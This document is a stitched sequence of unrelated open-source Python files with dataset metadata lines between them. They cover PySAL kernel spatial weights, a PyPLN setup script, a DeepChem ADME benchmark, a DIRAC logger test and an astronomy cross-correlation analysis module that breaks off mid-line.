set(kwd.weights[1]) == set( [0.2436835517263174, 0.29090631630909874, 0.29671172124745776, 1.0]) True Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. """ points = get_points_array_from_shapefile(shapefile) if radius is not None: points = cg.KDTree(points, distance_metric='Arc', radius=radius) if idVariable: ids = get_ids(shapefile, idVariable) return Kernel(points, function=function, k=k, ids=ids, fixed=fixed, diagonal = diagonal) return kernelW(points, k=k, function=function, fixed=fixed, diagonal=diagonal) def adaptive_kernelW(points, bandwidths=None, k=2, function='triangular', radius=None, diagonal=False): """ Kernel weights with adaptive bandwidths. Parameters ---------- points : array (n,k) n observations on k characteristics used to measure distances between the n objects bandwidths : float or array-like (optional) the bandwidth :math:`h_i` for the kernel. if no bandwidth is specified k is used to determine the adaptive bandwidth k : int the number of nearest neighbors to use for determining bandwidth. For fixed bandwidth, :math:`h_i=max(dknn) \\forall i` where :math:`dknn` is a vector of k-nearest neighbor distances (the distance to the kth nearest neighbor for each observation). For adaptive bandwidths, :math:`h_i=dknn_i` function : {'triangular','uniform','quadratic','quartic','gaussian'} kernel function defined as follows with .. math:: z_{i,j} = d_{i,j}/h_i triangular .. math:: K(z) = (1 - |z|) \ if |z| \le 1 uniform .. math:: K(z) = |z| \ if |z| \le 1 quadratic .. math:: K(z) = (3/4)(1-z^2) \ if |z| \le 1 quartic .. math:: K(z) = (15/16)(1-z^2)^2 \ if |z| \le 1 gaussian .. math:: K(z) = (2\pi)^{(-1/2)} exp(-z^2 / 2) radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. diagonal : boolean If true, set diagonal weights = 1.0, if false ( default) diagonal weights are set to value according to kernel function. Returns ------- w : W instance of spatial weights Examples -------- User specified bandwidths >>> points=[(10, 10), (20, 10), (40, 10), (15, 20), (30, 20), (30, 30)] >>> bw=[25.0,15.0,25.0,16.0,14.5,25.0] >>> kwa=adaptive_kernelW(points,bandwidths=bw) >>> kwa.weights[0] [1.0, 0.6, 0.552786404500042, 0.10557280900008403] >>> kwa.neighbors[0] [0, 1, 3, 4] >>> kwa.bandwidth array([[ 25. ], [ 15. ], [ 25. ], [ 16. ], [ 14.5], [ 25. ]]) Endogenous adaptive bandwidths >>> kwea=adaptive_kernelW(points) >>> kwea.weights[0] [1.0, 0.10557289844279438, 9.99999900663795e-08] >>> kwea.neighbors[0] [0, 1, 3] >>> kwea.bandwidth array([[ 11.18034101], [ 11.18034101], [ 20.000002 ], [ 11.18034101], [ 14.14213704], [ 18.02775818]]) Endogenous adaptive bandwidths with Gaussian kernel >>> kweag=adaptive_kernelW(points,function='gaussian') >>> kweag.weights[0] [0.3989422804014327, 0.2674190291577696, 0.2419707487162134] >>> kweag.bandwidth array([[ 11.18034101], [ 11.18034101], [ 20.000002 ], [ 11.18034101], [ 14.14213704], [ 18.02775818]]) with diagonal >>> kweag = pysal.adaptive_kernelW(points, function='gaussian') >>> kweagd = pysal.adaptive_kernelW(points, function='gaussian', diagonal=True) >>> kweag.neighbors[0] [0, 1, 3] >>> kweagd.neighbors[0] [0, 1, 3] >>> kweag.weights[0] [0.3989422804014327, 0.2674190291577696, 0.2419707487162134] >>> kweagd.weights[0] [1.0, 0.2674190291577696, 0.2419707487162134] """ if radius is not None: points = cg.KDTree(points, distance_metric='Arc', radius=radius) return Kernel(points, bandwidth=bandwidths, fixed=False, k=k, function=function, diagonal=diagonal) def adaptive_kernelW_from_shapefile(shapefile, bandwidths=None, k=2, function='triangular', idVariable=None, radius=None, diagonal = False): """ Kernel weights with adaptive bandwidths. Parameters ---------- shapefile : string shapefile name with shp suffix bandwidths : float or array-like (optional) the bandwidth :math:`h_i` for the kernel. if no bandwidth is specified k is used to determine the adaptive bandwidth k : int the number of nearest neighbors to use for determining bandwidth. For fixed bandwidth, :math:`h_i=max(dknn) \\forall i` where :math:`dknn` is a vector of k-nearest neighbor distances (the distance to the kth nearest neighbor for each observation). For adaptive bandwidths, :math:`h_i=dknn_i` function : {'triangular','uniform','quadratic','quartic','gaussian'} kernel function defined as follows with .. math:: z_{i,j} = d_{i,j}/h_i triangular .. math:: K(z) = (1 - |z|) \ if |z| \le 1 uniform .. math:: K(z) = |z| \ if |z| \le 1 quadratic .. math:: K(z) = (3/4)(1-z^2) \ if |z| \le 1 quartic .. math:: K(z) = (15/16)(1-z^2)^2 \ if |z| \le 1 gaussian .. math:: K(z) = (2\pi)^{(-1/2)} exp(-z^2 / 2) idVariable : string name of a column in the shapefile's DBF to use for ids radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. diagonal : boolean If true, set diagonal weights = 1.0, if false ( default) diagonal weights are set to value according to kernel function. Returns ------- w : W instance of spatial weights Examples -------- >>> kwa = pysal.adaptive_kernelW_from_shapefile(pysal.examples.get_path("columbus.shp"), function='gaussian') >>> kwad = pysal.adaptive_kernelW_from_shapefile(pysal.examples.get_path("columbus.shp"), function='gaussian', diagonal=True) >>> kwa.neighbors[0] [0, 2, 1] >>> kwad.neighbors[0] [0, 2, 1] >>> kwa.weights[0] [0.3989422804014327, 0.24966013701844503, 0.2419707487162134] >>> kwad.weights[0] [1.0, 0.24966013701844503, 0.2419707487162134] Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. """ points = get_points_array_from_shapefile(shapefile) if radius is not None: points = cg.KDTree(points, distance_metric='Arc', radius=radius) if idVariable: ids = get_ids(shapefile, idVariable) return Kernel(points, bandwidth=bandwidths, fixed=False, k=k, function=function, ids=ids, diagonal=diagonal) return adaptive_kernelW(points, bandwidths=bandwidths, k=k, function=function, diagonal=diagonal) def min_threshold_dist_from_shapefile(shapefile, radius=None, p=2): """ Kernel weights with adaptive bandwidths. Parameters ---------- shapefile : string shapefile name with shp suffix. radius : float If supplied arc_distances will be calculated based on the given radius. p will be ignored. p : float Minkowski p-norm distance metric parameter: 1<=p<=infinity 2: Euclidean distance 1: Manhattan distance Returns ------- d : float Maximum nearest neighbor distance between the n observations. Examples -------- >>> md = min_threshold_dist_from_shapefile(pysal.examples.get_path("columbus.shp")) >>> md 0.61886415807685413 >>> min_threshold_dist_from_shapefile(pysal.examples.get_path("stl_hom.shp"), pysal.cg.sphere.RADIUS_EARTH_MILES) 31.846942936393717 Notes ----- Supports polygon or point shapefiles. For polygon shapefiles, distance is based on polygon centroids. Distances are defined using coordinates in shapefile which are assumed to be projected and not geographical coordinates. """ points = get_points_array_from_shapefile(shapefile) if radius is not None: kdt = cg.kdtree.Arc_KDTree(points, radius=radius) nn = kdt.query(kdt.data, k=2) nnd = nn[0].max(axis=0)[1] return nnd return min_threshold_distance(points, p) def build_lattice_shapefile(nrows, ncols, outFileName): """ Build a lattice shapefile with nrows rows and ncols cols. Parameters ---------- nrows : int Number of rows ncols : int Number of cols outFileName : str shapefile name with shp suffix Returns ------- None """ if not outFileName.endswith('.shp'): raise ValueError("outFileName must end with .shp") o = ps_open(outFileName, 'w') dbf_name = outFileName.split(".")[0] + ".dbf" d = ps_open(dbf_name, 'w') d.header = [ 'ID' ] d.field_spec = [ ('N', 8, 0) ] c = 0 for i in xrange(nrows): for j in xrange(ncols): ll = i, j ul = i, j + 1 ur = i + 1, j + 1 lr = i + 1, j o.write(cg.Polygon([ll, ul, ur, lr, ll])) d.write([c]) c += 1 d.close() o.close() def _test(): import doctest # the following line could be used to define an alternative to the '<BLANKLINE>' flag #doctest.BLANKLINE_MARKER = 'something better than <BLANKLINE>' start_suppress = np.get_printoptions()['suppress'] np.set_printoptions(suppress=True) doctest.testmod() np.set_printoptions(suppress=start_suppress) if __name__ == '__main__': _test()
sjsrey/pysal_core
pysal_core/weights/user.py
Python
bsd-3-clause
34,093
[ "COLUMBUS", "Gaussian" ]
2445712615016819dd40d7dc6c057ea556ab769dc7b7f226f5fa19358fe1c17f
# -*- coding:utf-8 -*- # # Copyright 2012 NAMD-EMAP-FGV # # This file is part of PyPLN. You can get more information at: http://pypln.org/. # # PyPLN is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # PyPLN is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with PyPLN. If not, see <http://www.gnu.org/licenses/>. from setuptools import setup, find_packages def get_requirements(): with open('requirements/production.txt') as requirements_fp: requirements = requirements_fp.readlines() packages = [] for package in requirements: package = package.strip() if "#egg=" in package: package = package.split('#egg=')[1].strip() if '==' in package: package = package.split('==')[0].strip() if '~=' in package: package = package.split('~=')[0].strip() if package: packages.append(package) return packages setup(name='pypln.web', version='0.1.0d', author=('Álvaro Justen <alvarojusten@gmail.com>', 'Flávio Amieiro <flavioamieiro@gmail.com>', 'Flávio Codeço Coelho <fccoelho@gmail.com>', 'Renato Rocha Souza <rsouza.fgv@gmail.com>'), author_email='pypln@googlegroups.com', url='https://github.com/NAMD/pypln.web', description='Distributed natural language processing pipeline - Web interface', zip_safe=False, packages=find_packages(), include_package_data=True, namespace_packages=["pypln"], install_requires=get_requirements(), test_suite='nose.collector', license='GPL3', )
rsouza/pypln.web
setup.py
Python
gpl-3.0
2,042
[ "NAMD" ]
b88cb416eda08f7ab75b2b9a31a7dba028868bfb2baa39f6c762e2440cc2c382
# DeepCrystal Technologies 2017 - Patrick Hop # MIT License - have fun!! from __future__ import print_function from __future__ import division from __future__ import unicode_literals import os import numpy as np np.random.seed(123) from sklearn.ensemble import RandomForestRegressor from sklearn import svm import tensorflow as tf tf.random.set_seed(123) import deepchem as dc from deepchem.models.graph_models import GraphConvModel BATCH_SIZE = 128 # Set to higher values to get better numbers MAX_EPOCH = 1 LR = 1e-3 LMBDA = 1e-4 def retrieve_datasets(): os.system( 'wget -c %s' % 'https://s3-us-west-1.amazonaws.com/deep-crystal-california/az_logd.csv') os.system( 'wget -c %s' % 'https://s3-us-west-1.amazonaws.com/deep-crystal-california/az_hppb.csv') os.system( 'wget -c %s' % 'https://s3-us-west-1.amazonaws.com/deep-crystal-california/az_clearance.csv' ) def load_dataset(dataset_file, featurizer='ECFP', split='index'): tasks = ['exp'] if featurizer == 'ECFP': featurizer = dc.feat.CircularFingerprint(size=1024) elif featurizer == 'GraphConv': featurizer = dc.feat.ConvMolFeaturizer() loader = dc.data.CSVLoader( tasks=tasks, smiles_field="smiles", featurizer=featurizer) dataset = loader.featurize(dataset_file, shard_size=8192) transformers = [ dc.trans.NormalizationTransformer(transform_y=True, dataset=dataset) ] for transformer in transformers: dataset = transformer.transform(dataset) splitters = { 'index': dc.splits.IndexSplitter(), 'random': dc.splits.RandomSplitter(), 'scaffold': dc.splits.ScaffoldSplitter() } splitter = splitters[split] train, valid, test = splitter.train_valid_test_split(dataset) return tasks, (train, valid, test), transformers def experiment(dataset_file, method='GraphConv', split='scaffold'): featurizer = 'ECFP' if method == 'GraphConv': featurizer = 'GraphConv' tasks, datasets, transformers = load_dataset( dataset_file, featurizer=featurizer, split=split) train, val, test = datasets model = None if method == 'GraphConv': model = GraphConvModel(len(tasks), batch_size=BATCH_SIZE, mode="regression") elif method == 'RF': def model_builder_rf(model_dir): sklearn_model = RandomForestRegressor(n_estimators=100) return dc.models.SklearnModel(sklearn_model, model_dir) model = dc.models.SingletaskToMultitask(tasks, model_builder_rf) elif method == 'SVR': def model_builder_svr(model_dir): sklearn_model = svm.SVR(kernel='linear') return dc.models.SklearnModel(sklearn_model, model_dir) model = dc.models.SingletaskToMultitask(tasks, model_builder_svr) return model, train, val, test, transformers #====================================================================== # Run Benchmarks {GC-DNN, SVR, RF} def main(): print("About to retrieve datasets") retrieve_datasets() MODEL = "GraphConv" SPLIT = "scaffold" DATASET = "az_hppb.csv" metric = dc.metrics.Metric(dc.metrics.pearson_r2_score, np.mean) print("About to build model") model, train, val, test, transformers = experiment( DATASET, method=MODEL, split=SPLIT) if MODEL == 'GraphConv': print("running GraphConv search") best_val_score = 0.0 train_score = 0.0 for l in range(0, MAX_EPOCH): print("epoch %d" % l) model.fit(train, nb_epoch=1) latest_train_score = model.evaluate(train, [metric], transformers)['mean-pearson_r2_score'] latest_val_score = model.evaluate(val, [metric], transformers)['mean-pearson_r2_score'] if latest_val_score > best_val_score: best_val_score = latest_val_score train_score = latest_train_score print((MODEL, SPLIT, DATASET, train_score, best_val_score)) else: model.fit(train) train_score = model.evaluate(train, [metric], transformers)['mean-pearson_r2_score'] val_score = model.evaluate(val, [metric], transformers)['mean-pearson_r2_score'] print((MODEL, SPLIT, DATASET, train_score, val_score)) if __name__ == "__main__": main()
deepchem/deepchem
examples/adme/run_benchmarks.py
Python
mit
4,236
[ "CRYSTAL" ]
92b7bef9c29e5278bbf23597499fad71740569fdb97d071e8372c1a42e1723b0
from DIRAC.Core.Base.Script import parseCommandLine from DIRAC.FrameworkSystem.Client.LoggerClient import LoggerClient parseCommandLine() LClient = LoggerClient() retval = LClient.getSites() if not retval['OK']: print retval['Message'] else: print retval['Value'][0:2] retval = LClient.getSystems() if not retval['OK']: print retval['Message'] else: print retval['Value'][0:2] retval = LClient.getSubSystems() if not retval['OK']: print retval['Message'] else: print retval['Value'][0:2] retval = LClient.getGroups() if not retval['OK']: print retval['Message'] else: print retval['Value'][0:2] retval = LClient.getFixedTextStrings() if not retval['OK']: print retval['Message'] else: print retval['Value'][0:2] retval = LClient.getMessagesByFixedText( 'File not found!' ) if not retval['OK']: print retval['Message'] else: print retval['Value']['ParameterNames'] print retval['Value']['Records'][0:4] showFields= [ 'SystemName', 'SubSystemName', 'OwnerDN' ] conditions={ 'SystemName': [ 'WorkloadManagement/Matcher', 'Framework/ProxyManager' ], 'LogLevel': 'ERROR' } orderFields = [ [ 'OwnerDN', 'ASC' ], ['SystemName', 'ASC' ] ] retval = LClient.getGroupedMessages( fieldList = showFields, conds = conditions, beginDate = '2008-09-18',endDate = '2008-09-20', groupField = 'SystemName', orderList = orderFields ) if not retval['OK']: print retval['Message'] else: print retval['Value']['ParameterNames'] print retval['Value']['Records'][0:4] orderFields = [ [ 'recordCount', 'DESC' ] ] retval = LClient.getGroupedMessages( groupField = 'FixedTextString', orderList = orderFields, maxRecords = 10 ) if not retval['OK']: print retval['Message'] else: print retval['Value']['ParameterNames'] print retval['Value']['Records'][0:4]
Sbalbp/DIRAC
FrameworkSystem/test/testLoggerClient.py
Python
gpl-3.0
1,878
[ "DIRAC" ]
8ebc8f536482a5156b6fb757a3ed38cc534e0ff31dfaf332472262e2f88a83dd
import os import re from collections import defaultdict from operator import itemgetter import logging import sys import pandas as pd from scipy.interpolate import InterpolatedUnivariateSpline as spline from scipy.integrate import quad from scipy.optimize import minimize_scalar, fmin from george import kernels import matplotlib.pyplot as plt import numpy as np import george import emcee import h5py import Fitters import StarData import SpectralTypeRelations from HelperFunctions import mad, integral def classify_filename(fname, type='bright'): """ Given a CCF filename, it classifies the star combination, temperature, metallicity, and vsini :param fname: :return: """ # First, remove any leading directories fname = fname.split('/')[-1] # Star combination m1 = re.search('\.[0-9]+kps', fname) stars = fname[:m1.start()] star1 = stars.split('+')[0].replace('_', ' ') star2 = stars.split('+')[1].split('_{}'.format(type))[0].replace('_', ' ') # secondary star vsini vsini = float(fname[m1.start() + 1:].split('kps')[0]) # Temperature m2 = re.search('[0-9]+\.0K', fname) temp = float(m2.group()[:-1]) # logg m3 = re.search('K\+[0-9]\.[0-9]', fname) logg = float(m3.group()[1:]) # metallicity metal = float(fname.split(str(logg))[-1]) return star1, star2, vsini, temp, logg, metal def get_ccf_data(basedir, primary_name=None, secondary_name=None, vel_arr=np.arange(-900.0, 900.0, 0.1), type='bright'): """ Searches the given directory for CCF files, and classifies by star, temperature, metallicity, and vsini :param basedir: The directory to search for CCF files :keyword primary_name: Optional keyword. If given, it will only get the requested primary star data :keyword secondary_name: Same as primary_name, but only reads ccfs for the given secondary :keyword vel_arr: The velocities to interpolate each ccf at :return: pandas DataFrame """ if not basedir.endswith('/'): basedir += '/' all_files = ['{}{}'.format(basedir, f) for f in os.listdir(basedir) if type in f.lower()] primary = [] secondary = [] vsini_values = [] temperature = [] gravity = [] metallicity = [] ccf = [] for fname in all_files: star1, star2, vsini, temp, logg, metal = classify_filename(fname, type=type) if primary_name is not None and star1.lower() != primary_name.lower(): continue if secondary_name is not None and star2.lower() != secondary_name.lower(): continue vel, corr = np.loadtxt(fname, unpack=True) fcn = spline(vel, corr) ccf.append(fcn(vel_arr)) primary.append(star1) secondary.append(star2) vsini_values.append(vsini) temperature.append(temp) gravity.append(logg) metallicity.append(metal) # Make a pandas dataframe with all this data df = pd.DataFrame(data={'Primary': primary, 'Secondary': secondary, 'Temperature': temperature, 'vsini': vsini_values, 'logg': gravity, '[Fe/H]': metallicity, 'CCF': ccf}) return df def get_ccf_summary(hdf5_filename, vel_arr=np.arange(-900.0, 900.0, 0.1), excel_filename=None, velocity='highest', addmode='simple', Tmin=3000, Tmax=7000, N_best=1, debug=False): """ Goes through the given HDF5 file, and finds the best set of parameters for each combination of primary/secondary star :param hdf5_filename: The HDF5 file containing the CCF data :keyword excel_filename: The filename of an MS excel file giving the velocity for each secondary star. The data must be in the first sheet, and three must be columns labeled 'Star' and 'CCF RV'. Only used if velocity='excel' :keyword velocity: The velocity to measure the CCF at. Options are: - 'highest' (default): uses the maximum of the ccf - value: A numeric type giving the velocity to to use. - 'excel': Search the filename excel_filename for the velocity of each secondary star :keyword vel_arr: The velocities to interpolate each ccf at :keyword addmode: The way the CCF orders were added while generating the ccfs :keyword debug: If True, it prints the progress. Otherwise, does its work silently and takes a while :keyword Tmin, Tmax: The minimum and maximum temperatures to include in the output. :keyword N_best: Passed to find_best_pars() :return: pandas DataFrame summarizing the best parameters. This is the type of dataframe to give to the other function here """ if velocity.lower() == 'excel': table = pd.read_excel(excel_filename, 0) summary_dfs = [] with h5py.File(hdf5_filename, 'r') as f: primaries = f.keys() for p in primaries: secondaries = f[p].keys() for s in secondaries: if addmode not in f[p][s].keys(): continue logging.info('Primary: {}\tSecondary: {}'.format(p, s)) if velocity.lower() == 'excel': try: vel_max = table.loc[table.Star.str.lower().str.contains(s.strip().lower())]['CCF RV'].item() except ValueError: logging.warning('No entry found for star "{}" in table {}'.format(s, excel_filename)) continue else: vel_max = velocity datasets = f[p][s][addmode].keys() vsini_values = [] temperature = [] gravity = [] metallicity = [] ccf = [] for i, d in enumerate(datasets): if debug: sys.stdout.write('\r\t\tDataset {}/{}'.format(i+1, len(datasets))) sys.stdout.flush() ds = f[p][s][addmode][d] if Tmin <= ds.attrs['T'] <= Tmax: if ds.value.shape[0] == 2: vel, corr = ds.value elif 'velocity' in ds.attrs: vel, corr = ds.attrs['velocity'], ds.value else: raise KeyError('Cannot find velocity information for dataset {}'.format(ds.name)) fcn = spline(vel, corr) vsini_values.append(ds.attrs['vsini']) temperature.append(ds.attrs['T']) gravity.append(ds.attrs['logg']) metallicity.append(ds.attrs['[Fe/H]']) ccf.append(fcn(vel_arr)) data = pd.DataFrame(data={'Primary': [p]*len(ccf), 'Secondary': [s]*len(ccf), 'Temperature': temperature, 'vsini': vsini_values, 'logg': gravity, '[Fe/H]': metallicity, 'CCF': ccf}) data.drop_duplicates(subset=('Temperature', 'vsini', 'logg', '[Fe/H]', 'Primary', 'Secondary'), inplace=True) summary_dfs.append(find_best_pars(data, velocity=vel_max, vel_arr=vel_arr, N=N_best)) del data return pd.concat(summary_dfs, ignore_index=True) def find_best_pars(df, velocity='highest', vel_arr=np.arange(-900.0, 900.0, 0.1), N=1): """ Find the 'best-fit' parameters for each combination of primary and secondary star :param df: the dataframe to search in :keyword velocity: The velocity to measure the CCF at. The default is 'highest', and uses the maximum of the ccf :keyword vel_arr: The velocities to interpolate each ccf at :keyword N: The number of parameters to return :return: a dataframe with keys of primary, secondary, and the parameters """ # Make sure N is odd if N % 2 == 0: logging.warn('N must be an odd number. Changing N from {} --> {}'.format(N, N + 1)) N += 1 # Get the names of the primary and secondary stars primary_names = pd.unique(df.Primary) secondary_names = pd.unique(df.Secondary) # Find the ccf value at the given velocity def val_fcn(ccf, idx=None, search_indices=None): if idx is None: if search_indices is None: idx = np.argmax(ccf) else: idx = np.argmax(ccf[search_indices]) idx = search_indices[idx] rv = vel_arr[idx] sigma = np.std(ccf[np.abs(vel_arr - rv) > 200]) return ccf[idx], ccf[idx] / sigma, rv if velocity == 'highest': vals = df['CCF'].map(val_fcn) df['ccf_max'] = vals.map(lambda l: l[0]) df['significance'] = vals.map(lambda l: l[1]) df['rv'] = vals.map(lambda l: l[2]) else: # idx = np.argmin(np.abs(vel_arr - velocity)) idx = np.where(np.abs(vel_arr - velocity) <= 5)[0] vals = df['CCF'].map(lambda c: val_fcn(c, search_indices=idx)) df['ccf_max'] = vals.map(lambda l: l[0]) df['significance'] = vals.map(lambda l: l[1]) df['rv'] = vals.map(lambda l: l[2]) #print(df[['Secondary', 'rv']]) # Find the best parameter for each combination d = defaultdict(list) groups = df.groupby(('Primary', 'Secondary')) for group in groups.groups.keys(): primary = group[0] secondary = group[1] g = groups.get_group(group) best = g.loc[g.ccf_max == g.ccf_max.max()] T = best['Temperature'].item() vsini = best['vsini'].item() logg = best['logg'].item() metal = best['[Fe/H]'].item() rv = best['rv'].item() Tmin = T - (N - 1) * 50 Tmax = T + (N - 1) * 50 for Ti in range(Tmin, Tmax + 1, 100): good = g.loc[ (g['Temperature'] == Ti) & (g['vsini'] == vsini) & (g['logg'] == logg) & (g['[Fe/H]'] == metal)] if len(good) == 0: logging.warn('No matches for T = {} with primary/secondary = {}/{}!'.format(Ti, primary, secondary)) d['Primary'].append(primary) d['Secondary'].append(secondary) d['Temperature'].append(Ti) d['vsini'].append(vsini) d['logg'].append(logg) d['[Fe/H]'].append(metal) d['rv'].append(rv) d['CCF'].append(np.nan) d['significance'].append(np.nan) continue # print len(good) best = good.loc[good.ccf_max == good.ccf_max.max()] #best = good if len(best) != 1 or any(np.isnan(best['CCF'].item())): print best print good print good.ccf_max print good.ccf_max.max() continue # Save the best parameters for this temperature d['Primary'].append(primary) d['Secondary'].append(secondary) d['Temperature'].append(best['Temperature'].item()) d['vsini'].append(best['vsini'].item()) d['logg'].append(best['logg'].item()) d['[Fe/H]'].append(best['[Fe/H]'].item()) idx = np.argmin(np.abs(vel_arr - rv)) d['rv'].append(rv) d['CCF'].append(best['CCF'].item()[idx]) # d['rv'].append(best['rv'].item()) #d['CCF'].append(best.ccf_max.item()) # Measure the detection significance std = mad(best.CCF.item()) mean = np.median(best.CCF.item()) d['significance'].append((d['CCF'][-1] - mean) / std) return pd.DataFrame(data=d) def get_detected_objects(df, tol=1.0, debug=False): """ Takes a summary dataframe with RV information. Finds the median rv for each star, and removes objects that are more than 'tol' km/s from the median value :param df: A summary dataframe, such as created by get_ccf_summary or find_best_pars :param tol: The tolerance, in km/s, to accept an observation as detected :return: a dataframe containing only detected companions """ secondary_names = pd.unique(df.Secondary) secondary_to_rv = defaultdict(float) for secondary in secondary_names: rv = df.loc[df.Secondary == secondary]['rv'].median() secondary_to_rv[secondary] = rv if debug: for secondary in sorted(secondary_to_rv.keys()): print 'RV for {}: {:.2f} km/s'.format(secondary, secondary_to_rv[secondary]) keys = df.Secondary.values good = df.loc[abs(df.rv.values - np.array(itemgetter(*keys)(secondary_to_rv))) < tol] return good def get_detected_objects_new(df, siglim=5, Terr_lim=3, Toffset=2000): """ Get a dataframe with only the detected objects. :param df: A DataFrame such as one output by get_ccf_summary with N > 1 :param siglim: The minimum significance to count as detected :param Terr_lim: The maximum number of standard deviations of (Measured - Actual) to allow for detected objects :param Toffset: The absolute difference to allow between the true and measured temperature. :return: A dataframe similar to df, but with fewer rows """ S = get_initial_uncertainty(df) S['Tdiff'] = S.Tmeas - S.Tactual mean, std = S.Tdiff.mean(), S.Tdiff.std() detected = S.loc[(S.significance > siglim) & (S.Tdiff - mean < Terr_lim * std) & (abs(S.Tdiff) < Toffset)] return pd.merge(detected[['Primary', 'Secondary']], df, on=['Primary', 'Secondary'], how='left') def add_actual_temperature(df, method='excel', filename='SecondaryStar_Temperatures.xls'): """ Add the actual temperature to a given summary dataframe :param df: The dataframe to which we will add the actual secondary star temperature :keyword method: How to get the actual temperature. Options are: - 'spt': Use main-sequence relationships to go from spectral type --> temperature - 'excel': Use tabulated data, available in the file 'SecondaryStar_Temperatures.xls' :keyword filename: The filename of the excel spreadsheet containing the literature temperatures. Needs to have the right format! Ignored if method='spt' :return: copy of the original dataframe, with an extra column for the secondary star temperature """ # First, get a list of the secondary stars in the data secondary_names = pd.unique(df.Secondary) secondary_to_temperature = defaultdict(float) secondary_to_error = defaultdict(float) if method.lower() == 'spt': MS = SpectralTypeRelations.MainSequence() for secondary in secondary_names: star_data = StarData.GetData(secondary) spt = star_data.spectype[0] + re.search('[0-9]\.*[0-9]*', star_data.spectype).group() T_sec = MS.Interpolate(MS.Temperature, spt) secondary_to_temperature[secondary] = T_sec elif method.lower() == 'excel': table = pd.read_excel(filename, 0) for secondary in secondary_names: T_sec = table.loc[table.Star.str.lower().str.contains(secondary.strip().lower())]['Literature_Temp'].item() T_error = table.loc[table.Star.str.lower().str.contains(secondary.strip().lower())][ 'Literature_error'].item() secondary_to_temperature[secondary] = T_sec secondary_to_error[secondary] = T_error df['Tactual'] = df['Secondary'].map(lambda s: secondary_to_temperature[s]) df['Tact_err'] = df['Secondary'].map(lambda s: secondary_to_error[s]) return def make_gaussian_process_samples(df): """ Make a gaussian process fitting the Tactual-Tmeasured relationship :param df: pandas DataFrame with columns 'Temperature' (with the measured temperature) and 'Tactual' (for the actual temperature) :return: emcee sampler instance """ Tmeasured, Tactual, error, lit_err = get_values(df) for i, e in enumerate(error): if e < 1: e = fit_sigma(df, i) error[i] = np.sqrt(e**2 + lit_err[i]**2) for Tm, Ta, e in zip(Tmeasured, Tactual, error): print Tm, Ta, e plt.figure(1) limits = [3000, 7000] plt.errorbar(Tmeasured, Tactual, yerr=error, fmt='.k', capsize=0) plt.plot(limits, limits, 'r--') #plt.xlim((min(Tmeasured) - 100, max(Tmeasured) + 100)) plt.xlabel('Measured Temperature') plt.ylabel('Actual Temperature') plt.xlim(limits) plt.ylim(limits) #plt.show(block=False) # Define some functions to use in the GP fit def model(pars, T): #polypars = pars[2:] #return np.poly1d(polypars)(T) return T def lnlike(pars, Tact, Tmeas, Terr): a, tau = np.exp(pars[:2]) gp = george.GP(a * kernels.ExpSquaredKernel(tau)) gp.compute(Tmeas, Terr) return gp.lnlikelihood(Tact - model(pars, Tmeas)) def lnprior(pars): lna, lntau = pars[:2] polypars = pars[2:] if -20 < lna < 20 and 12 < lntau < 20: return 0.0 return -np.inf def lnprob(pars, x, y, yerr): lp = lnprior(pars) return lp + lnlike(pars, x, y, yerr) if np.isfinite(lp) else -np.inf # Set up the emcee fitter initial = np.array([0, 14])#, 1.0, 0.0]) ndim = len(initial) nwalkers = 100 p0 = [np.array(initial) + 1e-8 * np.random.randn(ndim) for i in xrange(nwalkers)] sampler = emcee.EnsembleSampler(nwalkers, ndim, lnprob, args=(Tactual, Tmeasured, error)) print 'Running first burn-in' p1, lnp, _ = sampler.run_mcmc(p0, 500) sampler.reset() print "Running second burn-in..." p_best = p1[np.argmax(lnp)] p2 = [p_best + 1e-8 * np.random.randn(ndim) for i in xrange(nwalkers)] p3, _, _ = sampler.run_mcmc(p2, 250) sampler.reset() print "Running production..." sampler.run_mcmc(p3, 1000) # We now need to increase the spread of the posterior distribution so that it encompasses the right number of data points # This is because the way we have been treating error bars here is kind of funky... # First, generate a posterior distribution of Tactual for every possible Tmeasured print 'Generating posterior samples at all temperatures...' N = 10000 # This is 1/10th of the total number of samples! idx = np.argsort(-sampler.lnprobability.flatten())[:N] # Get N 'best' curves par_vals = sampler.flatchain[idx] Tvalues = np.arange(3000, 6900, 100) gp_posterior = [] for pars in par_vals: a, tau = np.exp(pars[:2]) gp = george.GP(a * kernels.ExpSquaredKernel(tau)) gp.compute(Tmeasured, error) s = gp.sample_conditional(Tactual - model(pars, Tmeasured), Tvalues) + model(pars, Tvalues) gp_posterior.append(s) # Get the median and spread in the pdf gp_posterior = np.array(gp_posterior) medians = np.median(gp_posterior, axis=0) sigma_pdf = np.std(gp_posterior, axis=0) # Correct the data and get the residual spread df['Corrected_Temperature'] = df['Temperature'].map(lambda T: medians[np.argmin(abs(T - Tvalues))]) sigma_spread = np.std(df.Tactual - df.Corrected_Temperature) # Increase the spread in the pdf to reflect the residual spread ratio = np.maximum(np.ones(sigma_pdf.size), sigma_spread / sigma_pdf) gp_corrected = (gp_posterior - medians) * ratio + medians # Make confidence intervals l, m, h = np.percentile(gp_corrected, [16.0, 50.0, 84.0], axis=0) conf = pd.DataFrame(data={'Measured Temperature': Tvalues, 'Actual Temperature': m, 'Lower Bound': l, 'Upper bound': h}) conf.to_csv('Confidence_Intervals.csv', index=False) # Finally, plot a bunch of the fits print "Plotting..." N = 300 Tvalues = np.arange(3000, 7000, 20) idx = np.argsort(-sampler.lnprobability.flatten())[:N] # Get N 'best' curves par_vals = sampler.flatchain[idx] plot_posterior = [] for i, pars in enumerate(par_vals): a, tau = np.exp(pars[:2]) gp = george.GP(a * kernels.ExpSquaredKernel(tau)) gp.compute(Tmeasured, error) s = gp.sample_conditional(Tactual - model(pars, Tmeasured), Tvalues) + model(pars, Tvalues) plot_posterior.append(s) plot_posterior = np.array(plot_posterior) medians = np.median(plot_posterior, axis=0) sigma_pdf = np.std(plot_posterior, axis=0) # Increase the spread in the pdf to reflect the residual spread ratio = np.maximum(np.ones(sigma_pdf.size), sigma_spread / 